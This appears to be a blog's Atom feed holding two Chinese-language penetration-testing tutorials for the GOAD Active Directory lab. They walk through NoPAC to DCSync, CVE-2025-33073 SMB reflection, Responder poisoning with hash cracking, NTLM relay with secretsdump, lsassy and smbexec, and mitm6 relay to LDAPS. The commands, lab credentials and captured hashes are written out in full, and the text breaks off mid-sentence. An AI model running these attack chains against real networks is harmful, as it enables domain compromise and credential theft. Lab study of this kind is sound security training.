<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>3h1xy</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://3h1xy.com/</id>
  <link href="https://3h1xy.com/" rel="alternate"/>
  <link href="https://3h1xy.com/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 3h1xy</rights>
  <subtitle>网络安全与域渗透实战笔记</subtitle>
  <title>3h1xy</title>
  <updated>2026-05-26T16:50:32.674Z</updated>
  <entry>
    <author>
      <name>3h1xy</name>
    </author>
    <category term="GOAD 域渗透教程" scheme="https://3h1xy.com/categories/GOAD-%E5%9F%9F%E6%B8%97%E9%80%8F%E6%95%99%E7%A8%8B/"/>
    <category term="GOAD" scheme="https://3h1xy.com/tags/GOAD/"/>
    <category term="Active Directory" scheme="https://3h1xy.com/tags/Active-Directory/"/>
    <category term="NoPAC" scheme="https://3h1xy.com/tags/NoPAC/"/>
    <category term="CVE-2025-33073" scheme="https://3h1xy.com/tags/CVE-2025-33073/"/>
    <content>
      <![CDATA[<p>通过前面三篇文章，我们已经从信息收集一路走到了有效域用户。这一篇继续讲两条更像“提权收尾”的链路：NoPAC 和 CVE-2025-33073，分别对应打域控和打未强制 SMB Signing 主机的思路。</p><span id="more"></span><h2 id="这篇文章会学到什么"><a href="#这篇文章会学到什么" class="headerlink" title="这篇文章会学到什么"></a>这篇文章会学到什么</h2><ul><li>如何判断当前域环境是否满足 NoPAC 的利用前提</li><li>如何通过机器账户伪造、S4U2self 与 DCSync 打到域控</li><li>如何利用 CVE-2025-33073 把未强制 SMB Signing 的主机打成 SYSTEM</li><li>如何清理实验中创建的 DNS 记录与残留痕迹</li></ul><h2 id="NoPAC"><a href="#NoPAC" class="headerlink" title="NoPAC"></a>NoPAC</h2><ul><li>我不会重复介绍这个漏洞，网络上有大把的介绍文章和原理分析</li><li>GitHub 上有不少自动化利用代码，比如 <a href="https://github.com/cube0x0/noPac">cube0x0&#x2F;noPac</a> 和 <a href="https://github.com/Ridter/noPac">Ridter&#x2F;noPac</a>。</li><li>我喜欢用Kali，所以我们只在Kali上用手动的方案来进行攻击</li></ul><h3 id="检查是否具有该漏洞"><a href="#检查是否具有该漏洞" class="headerlink" title="检查是否具有该漏洞"></a>检查是否具有该漏洞</h3><p>这次攻击使用的账户是 <code>north/jon.snow:iknownothing</code>，我们在 Part2 里通过 Kerberoasting 拿到的。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24 -u <span class="string">&#x27;north\jon.snow&#x27;</span> -p <span class="string">&#x27;iknownothing&#x27;</span> -M nopac</span><br></pre></td></tr></table></figure><p><img src="/../images/nopac_scan.png" alt="检测 NoPAC 漏洞"></p><p>两次TGT的size不一样，有NoPAC漏洞。</p><p>同时我们要检查我们当前使用的域账户是否有添加计算机账户的配额，默认都是10</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc ldap 192.168.56.0/24 -u north\\jon.snow -p iknownothing -M maq</span><br></pre></td></tr></table></figure><p><img src="/../images/MAQ.png" alt="检查 MachineAccountQuota 配额"></p><p>两个条件都满足才能用NoPAC漏洞。（MAQ为0时也可以打，具体由读者自行研究）</p><h3 id="工具准备"><a href="#工具准备" class="headerlink" title="工具准备"></a>工具准备</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/dirkjanm/krbrelayx.git</span><br></pre></td></tr></table></figure><p>另外还要准备 <code>renameMachine.py</code>：</p><ul><li><a href="https://github.com/ShutdownRepo/impacket/blob/b4fbcf9196e9b6098edae0ae7794005d2e138ccd/examples/renameMachine.py">https://github.com/ShutdownRepo/impacket/blob/b4fbcf9196e9b6098edae0ae7794005d2e138ccd/examples/renameMachine.py</a></li></ul><h3 id="进行攻击"><a href="#进行攻击" class="headerlink" title="进行攻击"></a>进行攻击</h3><ul><li>首先添加一个机器账户</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿192)-[~]</span><br><span class="line">└─$ impacket-addcomputer north/jon.snow:iknownothing -dc-host WINTERFELL.north.sevenkingdoms.local</span><br><span class="line">Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] Successfully added machine account DESKTOP-14VC7MVS$ with password qas3n40vS6Fwc3F7Wwda0fEvQXzT2AXX.</span><br></pre></td></tr></table></figure><ul><li>清除添加的机器中的SPN属性</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ python3 addspn.py -u &#x27;north\jon.snow&#x27; -p iknownothing -t DESKTOP-14VC7MVS$ -c WINTERFELL.north.sevenkingdoms.local</span><br><span class="line">[-] Connecting to host...</span><br><span class="line">[-] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[+] Found modification target</span><br><span class="line">[+] Printing object before clearing</span><br><span class="line">DN: CN=DESKTOP-14VC7MVS,CN=Computers,DC=north,DC=sevenkingdoms,DC=local - STATUS: Read - READ TIME: 2026-03-22T07:12:11.506758</span><br><span class="line">    sAMAccountName: DESKTOP-14VC7MVS$</span><br><span class="line"></span><br><span class="line">[+] SPN Modified successfully</span><br></pre></td></tr></table></figure><ul><li>将机器账户的 sAMAccountName，更改为 DC 的机器账户名字，注意后缀不带 $</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ python3 renameMachine.py north/jon.snow:iknownothing -current-name DESKTOP-14VC7MVS$ -new-name WINTERFELL -dc-ip 192.168.56.11</span><br><span class="line">Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] Modifying attribute (sAMAccountName) of object (CN=DESKTOP-14VC7MVS,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (DESKTOP-14VC7MVS$) -&gt; (WINTERFELL)</span><br><span class="line">[*] New sAMAccountName does not end with &#x27;$&#x27; (attempting CVE-2021-42278)</span><br><span class="line">[*] Target object modified successfully!</span><br></pre></td></tr></table></figure><ul><li>用假冒域控的这个机器账户申请TGT</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ impacket-getTGT north/WINTERFELL:qas3n40vS6Fwc3F7Wwda0fEvQXzT2AXX -dc-ip 192.168.56.11</span><br><span class="line">Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] Saving ticket in WINTERFELL.ccache</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>把名字再改回去</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ python3  renameMachine.py -current-name &#x27;WINTERFELL&#x27; -new-name &#x27;samaccount$&#x27; &#x27;north/jon.snow:iknownothing&#x27; -dc-ip 192.168.56.11</span><br><span class="line">Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] Modifying attribute (sAMAccountName) of object (CN=DESKTOP-14VC7MVS,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (WINTERFELL) -&gt; (samaccount$)</span><br><span class="line">[*] Target object modified successfully!</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li>通过 S4U2self 协议向 DC 请求 ST</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">export KRB5CCNAME=WINTERFELL.ccache</span><br><span class="line"></span><br><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ impacket-getST -self -impersonate &#x27;administrator&#x27; -altservice &#x27;CIFS/winterfell.north.sevenkingdoms.local&#x27; -k -no-pass -dc-ip &#x27;winterfell.north.sevenkingdoms.local&#x27; &#x27;north&#x27;/&#x27;winterfell&#x27;</span><br><span class="line">Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] Impersonating administrator</span><br><span class="line">[*] Requesting S4U2self</span><br><span class="line">[*] Changing service from winterfell@NORTH.SEVENKINGDOMS.LOCAL to CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL</span><br><span class="line">[*] Saving ticket in administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li>通过获取的ST来进行DCSync</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache</span><br><span class="line"></span><br><span class="line">┌──(kali㉿192)-[~/krbrelayx]</span><br><span class="line">└─$ impacket-secretsdump -k -no-pass -dc-ip 192.168.56.11 @&#x27;winterfell.north.sevenkingdoms.local&#x27;</span><br></pre></td></tr></table></figure><p><img src="/../images/nopac_dcsync.png" alt="NoPAC 成功后执行 DCSync"></p><h2 id="CVE-2025-33073"><a href="#CVE-2025-33073" class="headerlink" title="CVE-2025-33073"></a>CVE-2025-33073</h2><p>前面在 Part3 里只是顺手提了一句，这里把具体打法补完整。这个漏洞的本质，仍然是把目标机器被强制出来的 SMB 认证“反射”回它自己。只要目标没有强制 SMB Signing，最后就有机会直接拿到这台机器的 SYSTEM。</p><h3 id="利用前提"><a href="#利用前提" class="headerlink" title="利用前提"></a>利用前提</h3><p>这条链子需要满足几个条件：</p><ul><li>我们已经有一个普通域用户：<code>north/jon.snow:iknownothing</code></li><li>当前用户能够向域内 DNS 添加记录</li><li>目标机器没有强制 SMB Signing</li><li>我们能够强制目标对外发起 SMB 认证</li></ul><p>在 GOAD 里，我这里选择 <code>CASTELBLACK</code> 作为受害机。原因很简单：它在前面的扫描结果里已经明确显示 <code>signing: False</code>，比去碰 <code>WINTERFELL</code> 这种域控现实得多。</p><h3 id="添加恶意-DNS-记录"><a href="#添加恶意-DNS-记录" class="headerlink" title="添加恶意 DNS 记录"></a>添加恶意 DNS 记录</h3><p>先往 <code>north.sevenkingdoms.local</code> 的 DNS 里添加一条恶意记录。这里命令最后的 <code>192.168.56.11</code> 只是负责写 DNS 记录的域控，不是最终要打的目标；真正指向的是我们的攻击机 <code>192.168.56.138</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python3 dnstool.py -u <span class="string">&#x27;north\jon.snow&#x27;</span> -p <span class="string">&#x27;iknownothing&#x27;</span> \</span><br><span class="line">  -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \</span><br><span class="line">  -d 192.168.56.138 --action add 192.168.56.11</span><br></pre></td></tr></table></figure><p>这里我直接使用 <code>localhost1UWhRCA...</code> 这条记录名。相比按机器名单独构造记录，这种写法更通用，因为去掉后面的 marshalled target information 之后，剩下的就是 <code>localhost</code>，对不同机器都能复用。</p><h3 id="开启中继监听"><a href="#开启中继监听" class="headerlink" title="开启中继监听"></a>开启中继监听</h3><p>既然真正的目标是 <code>CASTELBLACK</code>，那么 <code>ntlmrelayx</code> 的中继目标也应该指向它自己：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-ntlmrelayx -t smb://castelblack.north.sevenkingdoms.local -smb2support</span><br></pre></td></tr></table></figure><p>如果你想在利用成功后继续交互，而不是只看默认的后利用动作，也可以直接打开 SOCKS：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-ntlmrelayx -t smb://castelblack.north.sevenkingdoms.local -smb2support --socks</span><br></pre></td></tr></table></figure><h3 id="使用-PetitPotam-强制认证"><a href="#使用-PetitPotam-强制认证" class="headerlink" title="使用 PetitPotam 强制认证"></a>使用 PetitPotam 强制认证</h3><p>接下来把 <code>CASTELBLACK</code> 的认证强制打到我们刚注册的恶意 DNS 名上：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python3 PetitPotam.py -u <span class="string">&#x27;north\jon.snow&#x27;</span> -p <span class="string">&#x27;iknownothing&#x27;</span> \</span><br><span class="line">  -d north.sevenkingdoms.local \</span><br><span class="line">  localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \</span><br><span class="line">  castelblack.north.sevenkingdoms.local</span><br></pre></td></tr></table></figure><p>如果目标可被强制认证，同时 SMB Signing 没有强制开启，那么 <code>ntlmrelayx</code> 这边通常就能看到认证成功。</p><h3 id="成功后的结果"><a href="#成功后的结果" class="headerlink" title="成功后的结果"></a>成功后的结果</h3><p>默认情况下，<code>ntlmrelayx</code> 在 SMB 目标上成功反射后，往往会直接执行一套标准后利用动作，例如：</p><ul><li>检查并启动 <code>RemoteRegistry</code></li><li>读取目标机器的 <code>SAM</code></li><li>导出本地用户哈希</li></ul><p>这已经足够证明我们拿到的是这台机器的高权限上下文了。根据 Synacktiv 的分析，这条链子成功时，最终拿到的是目标机器上的 <code>SYSTEM</code> 身份，而不是一个普通的机器账户权限。</p><p>如果你前面开的是 <code>--socks</code>，那后面就可以像 Part3 一样，继续通过代理去跑 <code>smbexec</code>、查看共享文件，或者执行你自己的命令。</p><h3 id="这个洞为什么能打"><a href="#这个洞为什么能打" class="headerlink" title="这个洞为什么能打"></a>这个洞为什么能打</h3><p>简单理解一下就是：</p><ol><li>我们先注册一个特殊格式的 DNS 名，让目标机器访问这个名字时，把它识别成“本地目标”。</li><li>然后再强制目标去连接这个名字。</li><li>目标发起 SMB 认证时，会走本地 NTLM 认证逻辑。</li><li>我们把这份认证再中继回目标自己的 SMB 服务。</li><li>由于这次被强制出来的认证来自系统服务，最终就能在目标上拿到 <code>SYSTEM</code>。</li></ol><p>也正因为如此，这个洞对 <code>signing: True</code> 的机器就不太好使了。SMB 签名一旦强制开启，整条反射链基本就断了。</p><h3 id="清理痕迹"><a href="#清理痕迹" class="headerlink" title="清理痕迹"></a>清理痕迹</h3><p>实验做完以后，记得把恶意 DNS 记录删掉。最简单的做法，就是把上面 <code>dnstool.py</code> 里的 <code>--action add</code> 改成 <code>--action delete</code>，记录名保持一致即可。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>Part4 里我们主要演示了两条思路：</p><ul><li>NoPAC：从普通域用户直接打到域控</li><li>CVE-2025-33073：利用 SMB 反射把未强制签名的目标机器打成 SYSTEM</li></ul><p>这两条链子都说明了一件事：在域环境里，“拿到一个普通域用户”很多时候已经不是低权限起点了。只要目标配置不严、链路又刚好走得通，后面的空间会非常大。</p>]]>
    </content>
    <id>https://3h1xy.com/GOAD-Journey-Part4/</id>
    <link href="https://3h1xy.com/GOAD-Journey-Part4/"/>
    <published>2026-01-28T13:37:15.000Z</published>
    <summary>聚焦 NoPAC 和 CVE-2025-33073，两条从普通域用户继续提权的经典链路：伪造机器账户、S4U2self、DCSync，以及 SMB 反射拿 SYSTEM。</summary>
    <title>GOAD 域渗透教程 4：NoPAC 利用与 CVE-2025-33073 SMB 反射提权</title>
    <updated>2026-05-26T16:50:32.674Z</updated>
  </entry>
  <entry>
    <author>
      <name>3h1xy</name>
    </author>
    <category term="GOAD 域渗透教程" scheme="https://3h1xy.com/categories/GOAD-%E5%9F%9F%E6%B8%97%E9%80%8F%E6%95%99%E7%A8%8B/"/>
    <category term="GOAD" scheme="https://3h1xy.com/tags/GOAD/"/>
    <category term="Active Directory" scheme="https://3h1xy.com/tags/Active-Directory/"/>
    <category term="Responder" scheme="https://3h1xy.com/tags/Responder/"/>
    <category term="NTLM Relay" scheme="https://3h1xy.com/tags/NTLM-Relay/"/>
    <content>
      <![CDATA[<p>如果你在上一篇 <a href="../GOAD-Journey-Part2/">《GOAD 域渗透教程 2：域用户枚举、Kerberoasting、BloodHound 与 DNS 信息收集》</a> 里已经拿到了有效凭据，这一篇就继续进入投毒和中继。重点会演示 Responder 收集 NetNTLM、NTLM Relay 打 SMB、mitm6 &#x2F; Inveigh 中继到 LDAP，以及强制认证后的 relay 利用。</p><span id="more"></span><h2 id="这篇文章会学到什么"><a href="#这篇文章会学到什么" class="headerlink" title="这篇文章会学到什么"></a>这篇文章会学到什么</h2><ul><li>如何使用 Responder 在 GOAD 里捕获 NetNTLMv2 哈希</li><li>如何把拿到的认证流量中继到 SMB 与 LDAP</li><li>如何通过 mitm6 &#x2F; Inveigh 扩大中继面并获取更高权限</li><li>如何在中继成功后通过 SOCKS、共享枚举和命令执行继续扩大战果</li></ul><h2 id="Responder-投毒"><a href="#Responder-投毒" class="headerlink" title="Responder 投毒"></a>Responder 投毒</h2><p>当我们在一个内网里还没有任何凭据时，Responder 基本是必备工具。在一个正常的域环境里（不考虑各种加固和限制），它通常能带来：</p><ul><li>有效的域用户名</li><li>NetNTLM 哈希</li><li>可以拿去做中继的认证流量</li><li>以及一堆后续可利用的信息</li></ul><p>根据 GOAD 作者 Mayfly 的说法，GOAD 里有两个机器人程序会持续模拟 LLMNR、mDNS 和 NBT-NS 请求。其中一个用户密码强度较低，但没有管理员权限；另一个用户有管理员权限，但密码很强。</p><p>我们先在 Kali 攻击机上启动 Responder，看看能不能先收一点东西。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> responder -I eth0</span><br></pre></td></tr></table></figure><p>等几分钟后，就可以拿到 <code>NORTH\eddard.stark</code> 的 NetNTLMv2 哈希：</p><p><img src="/../images/responder_1.png" alt="Responder 捕获 eddard.stark 的 NetNTLMv2 哈希"></p><blockquote><p>因为机器人请求的是 <code>Brave</code>，而正确的机器名实际上是 <code>Braave</code>，DNS 无法解析后，Windows 会退回到广播查询。Responder 响应了这类查询，于是就拿到了用户连接。</p></blockquote><p>再等几分钟，我们又收到了 <code>eddard.stark</code> 的连接：</p><p><img src="/../images/responder_2.png" alt="Responder 再次捕获域用户认证"></p><p>NetNTLM 哈希不能直接做哈希传递，但可以拿去离线破解。先把抓到的两条哈希保存成 <code>responder.hashes</code>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">robb.stark::NORTH:fca8d2081c5b71bf:2EA257151FB713C887603E116426D61F:010100000000000080D58875AE8DDC01A247999BBB6EBA3D0000000002000800300053003300560001001E00570049004E002D004200440046004B004E0053005800340052005100480004003400570049004E002D004200440046004B004E005300580034005200510048002E0030005300330056002E004C004F00430041004C000300140030005300330056002E004C004F00430041004C000500140030005300330056002E004C004F00430041004C000700080080D58875AE8DDC010600040002000000080030003000000000000000000000000030000036E0FE45B3C6BAC3E8EF83380F40A254675D9659665C87AD87E5FF71D45214450A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000</span><br><span class="line">eddard.stark::NORTH:f7122c456244cda5:A99E8B609BC856E67DB6D865D05957FB:010100000000000080D58875AE8DDC01F842BE9FEDA89C410000000002000800300053003300560001001E00570049004E002D004200440046004B004E0053005800340052005100480004003400570049004E002D004200440046004B004E005300580034005200510048002E0030005300330056002E004C004F00430041004C000300140030005300330056002E004C004F00430041004C000500140030005300330056002E004C004F00430041004C000700080080D58875AE8DDC010600040002000000080030003000000000000000000000000030000036E0FE45B3C6BAC3E8EF83380F40A254675D9659665C87AD87E5FF71D45214450A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000</span><br></pre></td></tr></table></figure><p>然后用 hashcat 开始爆破：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt</span><br></pre></td></tr></table></figure><p><img src="/../images/hashcat.png" alt="使用 hashcat 破解 NetNTLMv2 哈希"></p><p>很快就能拿到 <code>robb.stark</code> 的密码：<code>sexywolfy</code>。</p><p>而 <code>eddard.stark</code> 的密码强度太高，靠这条路子暂时跑不出来，所以接下来就该上中继了。</p><h2 id="NTLM-中继"><a href="#NTLM-中继" class="headerlink" title="NTLM 中继"></a>NTLM 中继</h2><h3 id="未签名的-SMB"><a href="#未签名的-SMB" class="headerlink" title="未签名的 SMB"></a>未签名的 SMB</h3><p>先找出没有启用签名的 SMB 目标。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24 --gen-relay-list relay.txt</span><br></pre></td></tr></table></figure><p><img src="/../images/smb_unsign.png" alt="扫描未启用 SMB Signing 的主机"></p><p>好了，现在我们有了 <code>signing:False</code> SMB 计算机列表，我们可以开始尝试向它们转发 NTLM 身份验证。</p><p>先把 Responder 的 SMB 监听和 HTTP 监听关掉，在 <code>/etc/responder/Responder.conf</code> 里把这两项都改成 <code>Off</code>。</p><p><img src="/../images/responder_config.png" alt="Responder 关闭 SMB 和 HTTP 服务配置"></p><p>然后启动 <code>ntlmrelayx</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks --keep-relaying</span><br></pre></td></tr></table></figure><p>随后重新打开 Responder：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> responder -I eth0</span><br></pre></td></tr></table></figure><p>等几分钟后收到请求，进入 <code>socks</code> 交互界面，可以看到 <code>eddard.stark</code> 在 <code>192.168.56.22</code> 上是管理员。</p><p><img src="/../images/ntlmrelayx.png" alt="ntlmrelayx 成功中继到 SMB"></p><p>现在我们可以利用这个中继以管理员身份访问计算机。</p><h3 id="利用-SOCKS-中继后的权限"><a href="#利用-SOCKS-中继后的权限" class="headerlink" title="利用 SOCKS 中继后的权限"></a>利用 SOCKS 中继后的权限</h3><h4 id="secretsdump"><a href="#secretsdump" class="headerlink" title="secretsdump"></a>secretsdump</h4><p>刚刚启动的 <code>ntlmrelayx</code> 默认会把 SOCKS 代理开在本机 <code>1080</code> 端口。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 impacket-secretsdump -no-pass <span class="string">&#x27;NORTH&#x27;</span>/<span class="string">&#x27;EDDARD.STARK&#x27;</span>@<span class="string">&#x27;192.168.56.22&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/secretsdump.png" alt="使用 secretsdump 导出本地用户哈希"></p><ul><li>sam 数据库包含本地帐户信息。我们将忽略 vagrant，因为它是设置实验环境的默认用户。</li><li>这里的重要信息是本地管理员用户的 NT 哈希值。</li><li>我们还获取了最近连接用户的 LSA 缓存（Windows 默认保留最近 10 个用户的缓存），即使域控制器无法访问，这也能帮助我们连接到服务器。但是，这些缓存的凭据可以通过 hashcat 离线破解（速度非常慢）。</li><li>最后，我们还获得了计算机帐户的哈希值。（有时，加入域的计算机可能无法获取任何有用的域帐户信息，甚至完全没有相关信息，但如果您获得了此哈希值，则说明您已拥有该域的帐户！）</li></ul><h4 id="lsassy"><a href="#lsassy" class="headerlink" title="lsassy"></a>lsassy</h4><p>SAM 里没有域用户的明细信息，而登录过的域用户通常会留在 <code>lsass.exe</code> 进程里，所以可以借助 lsassy 把它们捞出来。</p><p><a href="https://github.com/Hackndo/lsassy">Lsassy</a> 允许您远程转储 lsass 文件（比使用 procdump、下载 lsass 转储文件并在本地使用 pypykatz 或 mimikatz 方便得多），它为您完成所有繁琐的操作，例如转储和读取 lsass 内容（它还只转储 lsass 转储中的有用部分，从而优化传输时间）。（lsassy 也以 nxc 模块的形式存在）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 lsassy --no-pass -d <span class="string">&#x27;NORTH&#x27;</span> -u <span class="string">&#x27;EDDARD.STARK&#x27;</span> <span class="string">&#x27;192.168.56.22&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/lsassy.png" alt="通过 lsassy 读取目标凭据"></p><h4 id="smbclient"><a href="#smbclient" class="headerlink" title="smbclient"></a>smbclient</h4><p>上面这两种方案都比较“响”，有机会触发 EDR 告警；只是这里的 Microsoft Defender 没怎么拦。</p><p>单纯用 <code>smbclient</code> 看文件，相对就安静很多。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 impacket-smbclient -no-pass <span class="string">&#x27;NORTH&#x27;</span>/<span class="string">&#x27;EDDARD.STARK&#x27;</span>@<span class="string">&#x27;192.168.56.22&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/smbclient.png" alt="通过 smbclient 访问共享"></p><h4 id="smbexec-命令执行"><a href="#smbexec-命令执行" class="headerlink" title="smbexec 命令执行"></a>smbexec 命令执行</h4><p>如果你还想进一步执行命令，由于这里走的是 SOCKS 代理，基本只能用 <code>smbexec</code> 或 <code>atexec</code>，<code>wmiexec</code>、<code>psexec</code> 和 <code>dcomexec</code> 都不太行。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 impacket-smbexec -no-pass <span class="string">&#x27;NORTH&#x27;</span>/<span class="string">&#x27;EDDARD.STARK&#x27;</span>@<span class="string">&#x27;192.168.56.22&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/smbexec.png" alt="使用 smbexec 执行命令"></p><h2 id="Mitm6-Inveigh-ntlmrelayx-到-LDAP"><a href="#Mitm6-Inveigh-ntlmrelayx-到-LDAP" class="headerlink" title="Mitm6 &#x2F; Inveigh + ntlmrelayx 到 LDAP"></a>Mitm6 &#x2F; Inveigh + ntlmrelayx 到 LDAP</h2><p>另一条比较有效的路子，是响应 DHCPv6 请求，把自己的机器塞成默认 DNS。Windows 默认优先走 IPv6，所以可以借助 <a href="https://github.com/dirkjanm/mitm6">MITM6</a> 或 <a href="https://github.com/Kevin-Robertson/Inveigh">Inveigh</a> 劫持并篡改 DHCPv6 响应，把后续查询都引到我们这里。</p><ul><li>我们将启动中间人攻击（mitm6）来干扰 DHCPv6，并获取来自主机的 DNS 请求。</li><li>顺便提一下，我注意到我们可以毒害域控制器，但之后域控制器并不在意，仍然使用它们的本地主机 DNS 服务器。</li><li>所以我们必须对着服务器投毒</li><li>在这个例子中，我们将对 Braavos 服务器进行恶意操作。我们将响应 wpad 查询，并将 HTTP 查询转发到 Meereen 上的 LDAPS，以添加一台具有委派访问权限的计算机。</li></ul><p>先启动 <code>ntlmrelayx</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --delegate-access</span><br></pre></td></tr></table></figure><p>再启动 <code>mitm6</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> mitm6 -i eth0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug -4 192.168.56.200</span><br></pre></td></tr></table></figure><p>等待 WPAD HTTP 查询被转发到 LDAPS。（如果你不想等，可以直接重启虚拟机来加速触发。）</p><p><img src="/../images/mitm6.png" alt="mitm6 投毒结果"></p><p><img src="/../images/mimt6_ntlmrelayx.png" alt="mitm6 与 ntlmrelayx 联动中继到 LDAP"></p><p>我们成功添加了一个机器账户 <code>ZXDJDCKA$:fa6g^d8HtF6,vUN</code>，并把 <code>BRAAVOS$</code> 的委派权限挂给了它。后面就可以用这个账户去 <code>getST</code>，进一步拿到 